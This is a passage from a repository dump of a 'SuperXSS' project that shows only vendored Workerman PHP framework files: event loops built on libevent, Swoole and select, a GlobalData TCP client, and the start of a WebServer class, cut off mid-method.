$param[1]); 158 | } catch (\Exception $e) { 159 | Worker::log($e); 160 | exit(250); 161 | } catch (\Error $e) { 162 | Worker::log($e); 163 | exit(250); 164 | } 165 | } 166 | 167 | /** 168 | * @see Events\EventInterface::clearAllTimer() 169 | * @return void 170 | */ 171 | public function clearAllTimer() 172 | { 173 | foreach ($this->_eventTimer as $event) { 174 | $event->del(); 175 | } 176 | $this->_eventTimer = array(); 177 | } 178 | 179 | 180 | /** 181 | * @see EventInterface::loop() 182 | */ 183 | public function loop() 184 | { 185 | $this->_eventBase->loop(); 186 | } 187 | 188 | /** 189 | * Destroy loop. 190 | * 191 | * @return void 192 | */ 193 | public function destroy() 194 | { 195 | foreach ($this->_eventSignal as $event) { 196 | $event->del(); 197 | } 198 | } 199 | 200 | /** 201 | * Get timer count. 202 | * 203 | * @return integer 204 | */ 205 | public function getTimerCount() 206 | { 207 | return count($this->_eventTimer); 208 | } 209 | } 210 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Events/Libevent.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Events; 15 | 16 | use Workerman\Worker; 17 | 18 | /** 19 | * libevent eventloop 20 | */ 21 | class Libevent implements EventInterface 22 | { 23 | /** 24 | * Event base. 25 | * 26 | * @var resource 27 | */ 28 | protected $_eventBase = null; 29 | 30 | /** 31 | * All listeners for read/write event. 32 | * 33 | * @var array 34 | */ 35 | protected $_allEvents = array(); 36 | 37 | /** 38 | * Event listeners of signal. 39 | * 40 | * @var array 41 | */ 42 | protected $_eventSignal = array(); 43 | 44 | /** 45 | * All timer event listeners. 46 | * [func, args, event, flag, time_interval] 47 | * 48 | * @var array 49 | */ 50 | protected $_eventTimer = array(); 51 | 52 | /** 53 | * construct 54 | */ 55 | public function __construct() 56 | { 57 | $this->_eventBase = event_base_new(); 58 | } 59 | 60 | /** 61 | * {@inheritdoc} 62 | */ 63 | public function add($fd, $flag, $func, $args = array()) 64 | { 65 | switch ($flag) { 66 | case self::EV_SIGNAL: 67 | $fd_key = (int)$fd; 68 | $real_flag = EV_SIGNAL | EV_PERSIST; 69 | $this->_eventSignal[$fd_key] = event_new(); 70 | if (!event_set($this->_eventSignal[$fd_key], $fd, $real_flag, $func, null)) { 71 | return false; 72 | } 73 | if (!event_base_set($this->_eventSignal[$fd_key], $this->_eventBase)) { 74 | return false; 75 | } 76 | if (!event_add($this->_eventSignal[$fd_key])) { 77 | return false; 78 | } 79 | return true; 80 | case self::EV_TIMER: 81 | case self::EV_TIMER_ONCE: 82 | $event = event_new(); 83 | $timer_id = (int)$event; 84 | if (!event_set($event, 0, EV_TIMEOUT, array($this, 'timerCallback'), $timer_id)) { 85 | return false; 86 | } 87 | 88 | if (!event_base_set($event, $this->_eventBase)) { 89 | return false; 90 | } 91 | 92 | $time_interval = $fd * 1000000; 93 | if (!event_add($event, $time_interval)) { 94 | return false; 95 | } 96 | $this->_eventTimer[$timer_id] = array($func, (array)$args, $event, $flag, $time_interval); 97 | return $timer_id; 98 | 99 | default : 100 | $fd_key = (int)$fd; 101 | $real_flag = $flag === self::EV_READ ? EV_READ | EV_PERSIST : EV_WRITE | EV_PERSIST; 102 | 103 | $event = event_new(); 104 | 105 | if (!event_set($event, $fd, $real_flag, $func, null)) { 106 | return false; 107 | } 108 | 109 | if (!event_base_set($event, $this->_eventBase)) { 110 | return false; 111 | } 112 | 113 | if (!event_add($event)) { 114 | return false; 115 | } 116 | 117 | $this->_allEvents[$fd_key][$flag] = $event; 118 | 119 | return true; 120 | } 121 | 122 | } 123 | 124 | /** 125 | * {@inheritdoc} 126 | */ 127 | public function del($fd, $flag) 128 | { 129 | switch ($flag) { 130 | case self::EV_READ: 131 | case self::EV_WRITE: 132 | $fd_key = (int)$fd; 133 | if (isset($this->_allEvents[$fd_key][$flag])) { 134 | event_del($this->_allEvents[$fd_key][$flag]); 135 | unset($this->_allEvents[$fd_key][$flag]); 136 | } 137 | if (empty($this->_allEvents[$fd_key])) { 138 | unset($this->_allEvents[$fd_key]); 139 | } 140 | break; 141 | case self::EV_SIGNAL: 142 | $fd_key = (int)$fd; 143 | if (isset($this->_eventSignal[$fd_key])) { 144 | event_del($this->_eventSignal[$fd_key]); 145 | unset($this->_eventSignal[$fd_key]); 146 | } 147 | break; 148 | case self::EV_TIMER: 149 | case self::EV_TIMER_ONCE: 150 | // 这里 fd 为timerid 151 | if (isset($this->_eventTimer[$fd])) { 152 | event_del($this->_eventTimer[$fd][2]); 153 | unset($this->_eventTimer[$fd]); 154 | } 155 | break; 156 | } 157 | return true; 158 | } 159 | 160 | /** 161 | * Timer callback. 162 | * 163 | * @param mixed $_null1 164 | * @param int $_null2 165 | * @param mixed $timer_id 166 | */ 167 | protected function timerCallback($_null1, $_null2, $timer_id) 168 | { 169 | if ($this->_eventTimer[$timer_id][3] === self::EV_TIMER) { 170 | event_add($this->_eventTimer[$timer_id][2], $this->_eventTimer[$timer_id][4]); 171 | } 172 | try { 173 | call_user_func_array($this->_eventTimer[$timer_id][0], $this->_eventTimer[$timer_id][1]); 174 | } catch (\Exception $e) { 175 | Worker::log($e); 176 | exit(250); 177 | } catch (\Error $e) { 178 | Worker::log($e); 179 | exit(250); 180 | } 181 | if (isset($this->_eventTimer[$timer_id]) && $this->_eventTimer[$timer_id][3] === self::EV_TIMER_ONCE) { 182 | $this->del($timer_id, self::EV_TIMER_ONCE); 183 | } 184 | } 185 | 186 | /** 187 | * {@inheritdoc} 188 | */ 189 | public function clearAllTimer() 190 | { 191 | foreach ($this->_eventTimer as $task_data) { 192 | event_del($task_data[2]); 193 | } 194 | $this->_eventTimer = array(); 195 | } 196 | 197 | /** 198 | * {@inheritdoc} 199 | */ 200 | public function loop() 201 | { 202 | event_base_loop($this->_eventBase); 203 | } 204 | 205 | /** 206 | * Destroy loop. 207 | * 208 | * @return void 209 | */ 210 | public function destroy() 211 | { 212 | foreach ($this->_eventSignal as $event) { 213 | event_del($event); 214 | } 215 | } 216 | 217 | /** 218 | * Get timer count. 219 | * 220 | * @return integer 221 | */ 222 | public function getTimerCount() 223 | { 224 | return count($this->_eventTimer); 225 | } 226 | } 227 | 228 | -------------------------------------------------------------------------------- /SuperXSS/GlobalData/Client.php: -------------------------------------------------------------------------------- 1 | _globalServers = array_values((array)$servers); 50 | } 51 | 52 | /** 53 | * Connect to global server. 54 | * @throws \Exception 55 | */ 56 | protected function getConnection($key) 57 | { 58 | $offset = crc32($key)%count($this->_globalServers); 59 | if($offset < 0) 60 | { 61 | $offset = -$offset; 62 | } 63 | 64 | if(!isset($this->_globalConnections[$offset]) || !is_resource($this->_globalConnections[$offset]) || feof($this->_globalConnections[$offset])) 65 | { 66 | $connection = stream_socket_client("tcp://{$this->_globalServers[$offset]}", $code, $msg, $this->timeout); 67 | if(!$connection) 68 | { 69 | throw new \Exception($msg); 70 | } 71 | stream_set_timeout($connection, $this->timeout); 72 | if(class_exists('\Workerman\Lib\Timer') && php_sapi_name() === 'cli') 73 | { 74 | $timer_id = \Workerman\Lib\Timer::add($this->pingInterval, function($connection)use(&$timer_id) 75 | { 76 | $buffer = pack('N', 8)."ping"; 77 | if(strlen($buffer) !== @fwrite($connection, $buffer)) 78 | { 79 | @fclose($connection); 80 | \Workerman\Lib\Timer::del($timer_id); 81 | } 82 | }, array($connection)); 83 | } 84 | $this->_globalConnections[$offset] = $connection; 85 | } 86 | return $this->_globalConnections[$offset]; 87 | } 88 | 89 | 90 | /** 91 | * Magic methods __set. 92 | * @param string $key 93 | * @param mixed $value 94 | * @throws \Exception 95 | */ 96 | public function __set($key, $value) 97 | { 98 | $connection = $this->getConnection($key); 99 | $this->writeToRemote(array( 100 | 'cmd' => 'set', 101 | 'key' => $key, 102 | 'value' => $value, 103 | ), $connection); 104 | $this->readFromRemote($connection); 105 | } 106 | 107 | /** 108 | * Magic methods __isset. 109 | * @param string $key 110 | */ 111 | public function __isset($key) 112 | { 113 | return null !== $this->__get($key); 114 | } 115 | 116 | /** 117 | * Magic methods __unset. 118 | * @param string $key 119 | * @throws \Exception 120 | */ 121 | public function __unset($key) 122 | { 123 | $connection = $this->getConnection($key); 124 | $this->writeToRemote(array( 125 | 'cmd' => 'delete', 126 | 'key' => $key 127 | ), $connection); 128 | $this->readFromRemote($connection); 129 | } 130 | 131 | /** 132 | * Magic methods __get. 133 | * @param string $key 134 | * @throws \Exception 135 | */ 136 | public function __get($key) 137 | { 138 | $connection = $this->getConnection($key); 139 | $this->writeToRemote(array( 140 | 'cmd' => 'get', 141 | 'key' => $key, 142 | ), $connection); 143 | return $this->readFromRemote($connection); 144 | } 145 | 146 | /** 147 | * Cas. 148 | * @param string $key 149 | * @param mixed $value 150 | * @throws \Exception 151 | */ 152 | public function cas($key, $old_value, $new_value) 153 | { 154 | $connection = $this->getConnection($key); 155 | $this->writeToRemote(array( 156 | 'cmd' => 'cas', 157 | 'md5' => md5(serialize($old_value)), 158 | 'key' => $key, 159 | 'value' => $new_value, 160 | ),$connection); 161 | return $this->readFromRemote($connection); 162 | } 163 | 164 | /** 165 | * Add. 166 | * @param string $key 167 | * @throws \Exception 168 | */ 169 | public function add($key, $value) 170 | { 171 | $connection = $this->getConnection($key); 172 | $this->writeToRemote(array( 173 | 'cmd' => 'add', 174 | 'key' => $key, 175 | 'value' => $value, 176 | ), $connection); 177 | return $this->readFromRemote($connection); 178 | } 179 | 180 | /** 181 | * Increment. 182 | * @param string $key 183 | * @throws \Exception 184 | */ 185 | public function increment($key, $step = 1) 186 | { 187 | $connection = $this->getConnection($key); 188 | $this->writeToRemote(array( 189 | 'cmd' => 'increment', 190 | 'key' => $key, 191 | 'step' => $step, 192 | ), $connection); 193 | return $this->readFromRemote($connection); 194 | } 195 | 196 | /** 197 | * Write data to global server. 198 | * @param string $buffer 199 | */ 200 | protected function writeToRemote($data, $connection) 201 | { 202 | $buffer = serialize($data); 203 | $buffer = pack('N',4 + strlen($buffer)) . $buffer; 204 | $len = fwrite($connection, $buffer); 205 | if($len !== strlen($buffer)) 206 | { 207 | throw new \Exception('writeToRemote fail'); 208 | } 209 | } 210 | 211 | /** 212 | * Read data from global server. 213 | * @throws Exception 214 | */ 215 | protected function readFromRemote($connection) 216 | { 217 | $all_buffer = ''; 218 | $total_len = 4; 219 | $head_read = false; 220 | while(1) 221 | { 222 | $buffer = fread($connection, 8192); 223 | if($buffer === '' || $buffer === false) 224 | { 225 | throw new \Exception('readFromRemote fail'); 226 | } 227 | $all_buffer .= $buffer; 228 | $recv_len = strlen($all_buffer); 229 | if($recv_len >= $total_len) 230 | { 231 | if($head_read) 232 | { 233 | break; 234 | } 235 | $unpack_data = unpack('Ntotal_length', $all_buffer); 236 | $total_len = $unpack_data['total_length']; 237 | if($recv_len >= $total_len) 238 | { 239 | break; 240 | } 241 | $head_read = true; 242 | } 243 | } 244 | return unserialize(substr($all_buffer, 4)); 245 | } 246 | } 247 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Events/Swoole.php: -------------------------------------------------------------------------------- 1 | 10 | * @link http://www.workerman.net/ 11 | * @link https://github.com/ares333/Workerman 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Events; 15 | 16 | use Swoole\Event; 17 | use Swoole\Timer; 18 | 19 | class Swoole implements EventInterface 20 | { 21 | 22 | protected $_timer = array(); 23 | 24 | protected $_timerOnceMap = array(); 25 | 26 | protected $_fd = array(); 27 | 28 | // milisecond 29 | public static $signalDispatchInterval = 200; 30 | 31 | protected $_hasSignal = false; 32 | 33 | /** 34 | * 35 | * {@inheritdoc} 36 | * 37 | * @see \Workerman\Events\EventInterface::add() 38 | */ 39 | public function add($fd, $flag, $func, $args = null) 40 | { 41 | if (! isset($args)) { 42 | $args = array(); 43 | } 44 | switch ($flag) { 45 | case self::EV_SIGNAL: 46 | $res = pcntl_signal($fd, $func, false); 47 | if (! $this->_hasSignal && $res) { 48 | Timer::tick(static::$signalDispatchInterval, 49 | function () { 50 | pcntl_signal_dispatch(); 51 | }); 52 | $this->_hasSignal = true; 53 | } 54 | return $res; 55 | case self::EV_TIMER: 56 | case self::EV_TIMER_ONCE: 57 | $method = self::EV_TIMER == $flag ? 'tick' : 'after'; 58 | $mapId = count($this->_timerOnceMap); 59 | $timer_id = Timer::$method($fd * 1000, 60 | function ($timer_id = null) use ($func, $args, $mapId) { 61 | call_user_func_array($func, $args); 62 | // EV_TIMER_ONCE 63 | if (! isset($timer_id)) { 64 | // may be deleted in $func 65 | if (array_key_exists($mapId, $this->_timerOnceMap)) { 66 | $timer_id = $this->_timerOnceMap[$mapId]; 67 | unset($this->_timer[$timer_id], 68 | $this->_timerOnceMap[$mapId]); 69 | } 70 | } 71 | }); 72 | if ($flag == self::EV_TIMER_ONCE) { 73 | $this->_timerOnceMap[$mapId] = $timer_id; 74 | $this->_timer[$timer_id] = $mapId; 75 | } else { 76 | $this->_timer[$timer_id] = null; 77 | } 78 | return $timer_id; 79 | case self::EV_READ: 80 | case self::EV_WRITE: 81 | $fd_key = (int) $fd; 82 | if (! isset($this->_fd[$fd_key])) { 83 | if ($flag == self::EV_READ) { 84 | $res = Event::add($fd, $func, null, SWOOLE_EVENT_READ); 85 | $fd_type = SWOOLE_EVENT_READ; 86 | } else { 87 | $res = Event::add($fd, null, $func, SWOOLE_EVENT_WRITE); 88 | $fd_type = SWOOLE_EVENT_WRITE; 89 | } 90 | if ($res) { 91 | $this->_fd[$fd_key] = $fd_type; 92 | } 93 | } else { 94 | $fd_val = $this->_fd[$fd_key]; 95 | $res = true; 96 | if ($flag == self::EV_READ) { 97 | if (($fd_val & SWOOLE_EVENT_READ) != SWOOLE_EVENT_READ) { 98 | $res = Event::set($fd, $func, null, 99 | SWOOLE_EVENT_READ | SWOOLE_EVENT_WRITE); 100 | $this->_fd[$fd_key] |= SWOOLE_EVENT_READ; 101 | } 102 | } else { 103 | if (($fd_val & SWOOLE_EVENT_WRITE) != SWOOLE_EVENT_WRITE) { 104 | $res = Event::set($fd, null, $func, 105 | SWOOLE_EVENT_READ | SWOOLE_EVENT_WRITE); 106 | $this->_fd[$fd_key] |= SWOOLE_EVENT_WRITE; 107 | } 108 | } 109 | } 110 | return $res; 111 | } 112 | } 113 | 114 | /** 115 | * 116 | * {@inheritdoc} 117 | * 118 | * @see \Workerman\Events\EventInterface::del() 119 | */ 120 | public function del($fd, $flag) 121 | { 122 | switch ($flag) { 123 | case self::EV_SIGNAL: 124 | return pcntl_signal($fd, SIG_IGN, false); 125 | case self::EV_TIMER: 126 | case self::EV_TIMER_ONCE: 127 | // already remove in EV_TIMER_ONCE callback. 128 | if (! array_key_exists($fd, $this->_timer)) { 129 | return true; 130 | } 131 | $res = Timer::clear($fd); 132 | if ($res) { 133 | $mapId = $this->_timer[$fd]; 134 | if (isset($mapId)) { 135 | unset($this->_timerOnceMap[$mapId]); 136 | } 137 | unset($this->_timer[$fd]); 138 | } 139 | return $res; 140 | case self::EV_READ: 141 | case self::EV_WRITE: 142 | $fd_key = (int) $fd; 143 | if (isset($this->_fd[$fd_key])) { 144 | $fd_val = $this->_fd[$fd_key]; 145 | if ($flag == self::EV_READ) { 146 | $flag_remove = ~ SWOOLE_EVENT_READ; 147 | } else { 148 | $flag_remove = ~ SWOOLE_EVENT_WRITE; 149 | } 150 | $fd_val &= $flag_remove; 151 | if (0 === $fd_val) { 152 | $res = Event::del($fd); 153 | if ($res) { 154 | unset($this->_fd[$fd_key]); 155 | } 156 | } else { 157 | $res = Event::set($fd, null, null, $fd_val); 158 | if ($res) { 159 | $this->_fd[$fd_key] = $fd_val; 160 | } 161 | } 162 | } else { 163 | $res = true; 164 | } 165 | return $res; 166 | } 167 | } 168 | 169 | /** 170 | * 171 | * {@inheritdoc} 172 | * 173 | * @see \Workerman\Events\EventInterface::clearAllTimer() 174 | */ 175 | public function clearAllTimer() 176 | { 177 | foreach (array_keys($this->_timer) as $v) { 178 | Timer::clear($v); 179 | } 180 | $this->_timer = array(); 181 | $this->_timerOnceMap = array(); 182 | } 183 | 184 | /** 185 | * 186 | * {@inheritdoc} 187 | * 188 | * @see \Workerman\Events\EventInterface::loop() 189 | */ 190 | public function loop() 191 | { 192 | Event::wait(); 193 | } 194 | 195 | /** 196 | * 197 | * {@inheritdoc} 198 | * 199 | * @see \Workerman\Events\EventInterface::destroy() 200 | */ 201 | public function destroy() 202 | { 203 | Event::exit(); 204 | } 205 | 206 | /** 207 | * 208 | * {@inheritdoc} 209 | * 210 | * @see \Workerman\Events\EventInterface::getTimerCount() 211 | */ 212 | public function getTimerCount() 213 | { 214 | return count($this->_timer); 215 | } 216 | } 217 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/Events/Select.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman\Events; 15 | 16 | /** 17 | * select eventloop 18 | */ 19 | class Select implements EventInterface 20 | { 21 | /** 22 | * All listeners for read/write event. 23 | * 24 | * @var array 25 | */ 26 | public $_allEvents = array(); 27 | 28 | /** 29 | * Event listeners of signal. 30 | * 31 | * @var array 32 | */ 33 | public $_signalEvents = array(); 34 | 35 | /** 36 | * Fds waiting for read event. 37 | * 38 | * @var array 39 | */ 40 | protected $_readFds = array(); 41 | 42 | /** 43 | * Fds waiting for write event. 44 | * 45 | * @var array 46 | */ 47 | protected $_writeFds = array(); 48 | 49 | /** 50 | * Fds waiting for except event. 51 | * 52 | * @var array 53 | */ 54 | protected $_exceptFds = array(); 55 | 56 | /** 57 | * Timer scheduler. 58 | * {['data':timer_id, 'priority':run_timestamp], ..} 59 | * 60 | * @var \SplPriorityQueue 61 | */ 62 | protected $_scheduler = null; 63 | 64 | /** 65 | * All timer event listeners. 66 | * [[func, args, flag, timer_interval], ..] 67 | * 68 | * @var array 69 | */ 70 | protected $_eventTimer = array(); 71 | 72 | /** 73 | * Timer id. 74 | * 75 | * @var int 76 | */ 77 | protected $_timerId = 1; 78 | 79 | /** 80 | * Select timeout. 81 | * 82 | * @var int 83 | */ 84 | protected $_selectTimeout = 100000000; 85 | 86 | /** 87 | * Paired socket channels 88 | * 89 | * @var array 90 | */ 91 | protected $channel = array(); 92 | 93 | /** 94 | * Construct. 95 | */ 96 | public function __construct() 97 | { 98 | // Create a pipeline and put into the collection of the read to read the descriptor to avoid empty polling. 99 | $this->channel = stream_socket_pair(DIRECTORY_SEPARATOR === '/' ? STREAM_PF_UNIX : STREAM_PF_INET, 100 | STREAM_SOCK_STREAM, STREAM_IPPROTO_IP); 101 | if($this->channel) { 102 | stream_set_blocking($this->channel[0], 0); 103 | $this->_readFds[0] = $this->channel[0]; 104 | } 105 | // Init SplPriorityQueue. 106 | $this->_scheduler = new \SplPriorityQueue(); 107 | $this->_scheduler->setExtractFlags(\SplPriorityQueue::EXTR_BOTH); 108 | } 109 | 110 | /** 111 | * {@inheritdoc} 112 | */ 113 | public function add($fd, $flag, $func, $args = array()) 114 | { 115 | switch ($flag) { 116 | case self::EV_READ: 117 | $fd_key = (int)$fd; 118 | $this->_allEvents[$fd_key][$flag] = array($func, $fd); 119 | $this->_readFds[$fd_key] = $fd; 120 | break; 121 | case self::EV_WRITE: 122 | $fd_key = (int)$fd; 123 | $this->_allEvents[$fd_key][$flag] = array($func, $fd); 124 | $this->_writeFds[$fd_key] = $fd; 125 | break; 126 | case self::EV_EXCEPT: 127 | $fd_key = (int)$fd; 128 | $this->_allEvents[$fd_key][$flag] = array($func, $fd); 129 | $this->_exceptFds[$fd_key] = $fd; 130 | break; 131 | case self::EV_SIGNAL: 132 | // Windows not support signal. 133 | if(DIRECTORY_SEPARATOR !== '/') { 134 | return false; 135 | } 136 | $fd_key = (int)$fd; 137 | $this->_signalEvents[$fd_key][$flag] = array($func, $fd); 138 | pcntl_signal($fd, array($this, 'signalHandler')); 139 | break; 140 | case self::EV_TIMER: 141 | case self::EV_TIMER_ONCE: 142 | $timer_id = $this->_timerId++; 143 | $run_time = microtime(true) + $fd; 144 | $this->_scheduler->insert($timer_id, -$run_time); 145 | $this->_eventTimer[$timer_id] = array($func, (array)$args, $flag, $fd); 146 | $select_timeout = ($run_time - microtime(true)) * 1000000; 147 | if( $this->_selectTimeout > $select_timeout ){ 148 | $this->_selectTimeout = $select_timeout; 149 | } 150 | return $timer_id; 151 | } 152 | 153 | return true; 154 | } 155 | 156 | /** 157 | * Signal handler. 158 | * 159 | * @param int $signal 160 | */ 161 | public function signalHandler($signal) 162 | { 163 | call_user_func_array($this->_signalEvents[$signal][self::EV_SIGNAL][0], array($signal)); 164 | } 165 | 166 | /** 167 | * {@inheritdoc} 168 | */ 169 | public function del($fd, $flag) 170 | { 171 | $fd_key = (int)$fd; 172 | switch ($flag) { 173 | case self::EV_READ: 174 | unset($this->_allEvents[$fd_key][$flag], $this->_readFds[$fd_key]); 175 | if (empty($this->_allEvents[$fd_key])) { 176 | unset($this->_allEvents[$fd_key]); 177 | } 178 | return true; 179 | case self::EV_WRITE: 180 | unset($this->_allEvents[$fd_key][$flag], $this->_writeFds[$fd_key]); 181 | if (empty($this->_allEvents[$fd_key])) { 182 | unset($this->_allEvents[$fd_key]); 183 | } 184 | return true; 185 | case self::EV_EXCEPT: 186 | unset($this->_allEvents[$fd_key][$flag], $this->_exceptFds[$fd_key]); 187 | if(empty($this->_allEvents[$fd_key])) 188 | { 189 | unset($this->_allEvents[$fd_key]); 190 | } 191 | return true; 192 | case self::EV_SIGNAL: 193 | if(DIRECTORY_SEPARATOR !== '/') { 194 | return false; 195 | } 196 | unset($this->_signalEvents[$fd_key]); 197 | pcntl_signal($fd, SIG_IGN); 198 | break; 199 | case self::EV_TIMER: 200 | case self::EV_TIMER_ONCE; 201 | unset($this->_eventTimer[$fd_key]); 202 | return true; 203 | } 204 | return false; 205 | } 206 | 207 | /** 208 | * Tick for timer. 209 | * 210 | * @return void 211 | */ 212 | protected function tick() 213 | { 214 | while (!$this->_scheduler->isEmpty()) { 215 | $scheduler_data = $this->_scheduler->top(); 216 | $timer_id = $scheduler_data['data']; 217 | $next_run_time = -$scheduler_data['priority']; 218 | $time_now = microtime(true); 219 | $this->_selectTimeout = ($next_run_time - $time_now) * 1000000; 220 | if ($this->_selectTimeout <= 0) { 221 | $this->_scheduler->extract(); 222 | 223 | if (!isset($this->_eventTimer[$timer_id])) { 224 | continue; 225 | } 226 | 227 | // [func, args, flag, timer_interval] 228 | $task_data = $this->_eventTimer[$timer_id]; 229 | if ($task_data[2] === self::EV_TIMER) { 230 | $next_run_time = $time_now + $task_data[3]; 231 | $this->_scheduler->insert($timer_id, -$next_run_time); 232 | } 233 | call_user_func_array($task_data[0], $task_data[1]); 234 | if (isset($this->_eventTimer[$timer_id]) && $task_data[2] === self::EV_TIMER_ONCE) { 235 | $this->del($timer_id, self::EV_TIMER_ONCE); 236 | } 237 | continue; 238 | } 239 | return; 240 | } 241 | $this->_selectTimeout = 100000000; 242 | } 243 | 244 | /** 245 | * {@inheritdoc} 246 | */ 247 | public function clearAllTimer() 248 | { 249 | $this->_scheduler = new \SplPriorityQueue(); 250 | $this->_scheduler->setExtractFlags(\SplPriorityQueue::EXTR_BOTH); 251 | $this->_eventTimer = array(); 252 | } 253 | 254 | /** 255 | * {@inheritdoc} 256 | */ 257 | public function loop() 258 | { 259 | $e = null; 260 | while (1) { 261 | if(DIRECTORY_SEPARATOR === '/') { 262 | // Calls signal handlers for pending signals 263 | pcntl_signal_dispatch(); 264 | } 265 | 266 | $read = $this->_readFds; 267 | $write = $this->_writeFds; 268 | $except = $this->_exceptFds; 269 | 270 | // Waiting read/write/signal/timeout events. 271 | $ret = @stream_select($read, $write, $except, 0, $this->_selectTimeout); 272 | 273 | if (!$this->_scheduler->isEmpty()) { 274 | $this->tick(); 275 | } 276 | 277 | if (!$ret) { 278 | continue; 279 | } 280 | 281 | if ($read) { 282 | foreach ($read as $fd) { 283 | $fd_key = (int)$fd; 284 | if (isset($this->_allEvents[$fd_key][self::EV_READ])) { 285 | call_user_func_array($this->_allEvents[$fd_key][self::EV_READ][0], 286 | array($this->_allEvents[$fd_key][self::EV_READ][1])); 287 | } 288 | } 289 | } 290 | 291 | if ($write) { 292 | foreach ($write as $fd) { 293 | $fd_key = (int)$fd; 294 | if (isset($this->_allEvents[$fd_key][self::EV_WRITE])) { 295 | call_user_func_array($this->_allEvents[$fd_key][self::EV_WRITE][0], 296 | array($this->_allEvents[$fd_key][self::EV_WRITE][1])); 297 | } 298 | } 299 | } 300 | 301 | if($except) { 302 | foreach($except as $fd) { 303 | $fd_key = (int) $fd; 304 | if(isset($this->_allEvents[$fd_key][self::EV_EXCEPT])) { 305 | call_user_func_array($this->_allEvents[$fd_key][self::EV_EXCEPT][0], 306 | array($this->_allEvents[$fd_key][self::EV_EXCEPT][1])); 307 | } 308 | } 309 | } 310 | } 311 | } 312 | 313 | /** 314 | * Destroy loop. 315 | * 316 | * @return void 317 | */ 318 | public function destroy() 319 | { 320 | 321 | } 322 | 323 | /** 324 | * Get timer count. 325 | * 326 | * @return integer 327 | */ 328 | public function getTimerCount() 329 | { 330 | return count($this->_eventTimer); 331 | } 332 | } 333 | -------------------------------------------------------------------------------- /SuperXSS/Workerman/WebServer.php: -------------------------------------------------------------------------------- 1 | 10 | * @copyright walkor 11 | * @link http://www.workerman.net/ 12 | * @license http://www.opensource.org/licenses/mit-license.php MIT License 13 | */ 14 | namespace Workerman; 15 | 16 | use Workerman\Protocols\Http; 17 | use Workerman\Protocols\HttpCache; 18 | 19 | /** 20 | * WebServer. 21 | */ 22 | class WebServer extends Worker 23 | { 24 | /** 25 | * Virtual host to path mapping. 26 | * 27 | * @var array ['workerman.net'=>'/home', 'www.workerman.net'=>'home/www'] 28 | */ 29 | protected $serverRoot = array(); 30 | 31 | /** 32 | * Mime mapping. 33 | * 34 | * @var array 35 | */ 36 | protected static $mimeTypeMap = array(); 37 | 38 | 39 | /** 40 | * Used to save user OnWorkerStart callback settings. 41 | * 42 | * @var callback 43 | */ 44 | protected $_onWorkerStart = null; 45 | 46 | /** 47 | * Add virtual host. 48 | * 49 | * @param string $domain 50 | * @param string $config 51 | * @return void 52 | */ 53 | public function addRoot($domain, $config) 54 | { 55 | if (is_string($config)) { 56 | $config = array('root' => $config); 57 | } 58 | $this->serverRoot[$domain] = $config; 59 | } 60 | 61 | /** 62 | * Construct. 63 | * 64 | * @param string $socket_name 65 | * @param array $context_option 66 | */ 67 | public function __construct($socket_name, $context_option = array()) 68 | { 69 | list(, $address) = explode(':', $socket_name, 2); 70 | parent::__construct('http:' . $address, $context_option); 71 | $this->name = 'WebServer'; 72 | } 73 | 74 | /** 75 | * Run webserver instance. 76 | * 77 | * @see Workerman.Worker::run() 78 | */ 79 | public function run() 80 | { 81 | $this->_onWorkerStart = $this->onWorkerStart; 82 | $this->onWorkerStart = array($this, 'onWorkerStart'); 83 | $this->onMessage = array($this, 'onMessage'); 84 | parent::run(); 85 | } 86 | 87 | /** 88 | * Emit when process start. 89 | * 90 | * @throws \Exception 91 | */ 92 | public function onWorkerStart() 93 | { 94 | if (empty($this->serverRoot)) { 95 | echo new \Exception('server root not set, please use WebServer::addRoot($domain, $root_path) to set server root path'); 96 | exit(250); 97 | } 98 | 99 | // Init mimeMap. 100 | $this->initMimeTypeMap(); 101 | 102 | // Try to emit onWorkerStart callback. 103 | if ($this->_onWorkerStart) { 104 | try { 105 | call_user_func($this->_onWorkerStart, $this); 106 | } catch (\Exception $e) { 107 | self::log($e); 108 | exit(250); 109 | } catch (\Error $e) { 110 | self::log($e); 111 | exit(250); 112 | } 113 | } 114 | } 115 | 116 | /** 117 | * Init mime map. 118 | * 119 | * @return void 120 | */ 121 | public function initMimeTypeMap() 122 | { 123 | $mime_file = Http::getMimeTypesFile(); 124 | if (!is_file($mime_file)) { 125 | $this->log("$mime_file mime.type file not fond"); 126 | return; 127 | } 128 | $items = file($mime_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); 129 | if (!is_array($items)) { 130 | $this->log("get $mime_file mime.type content fail"); 131 | return; 132 | } 133 | foreach ($items as $content) { 134 | if (preg_match("/\s*(\S+)\s+(\S.+)/", $content, $match)) { 135 | $mime_type = $match[1]; 136 | $workerman_file_extension_var = $match[2]; 137 | $workerman_file_extension_array = explode(' ', substr($workerman_file_extension_var, 0, -1)); 138 | foreach ($workerman_file_extension_array as $workerman_file_extension) { 139 | self::$mimeTypeMap[$workerman_file_extension] = $mime_type; 140 | } 141 | } 142 | } 143 | } 144 | 145 | /** 146 | * Emit when http message coming. 147 | * 148 | * @param Connection\TcpConnection $connection 149 | * @return void 150 | */ 151 | public function onMessage($connection) 152 | { 153 | // REQUEST_URI. 154 | $workerman_url_info = parse_url($_SERVER['REQUEST_URI']); 155 | if (!$workerman_url_info) { 156 | Http::header('HTTP/1.1 400 Bad Request'); 157 | $connection->close('

400 Bad Request

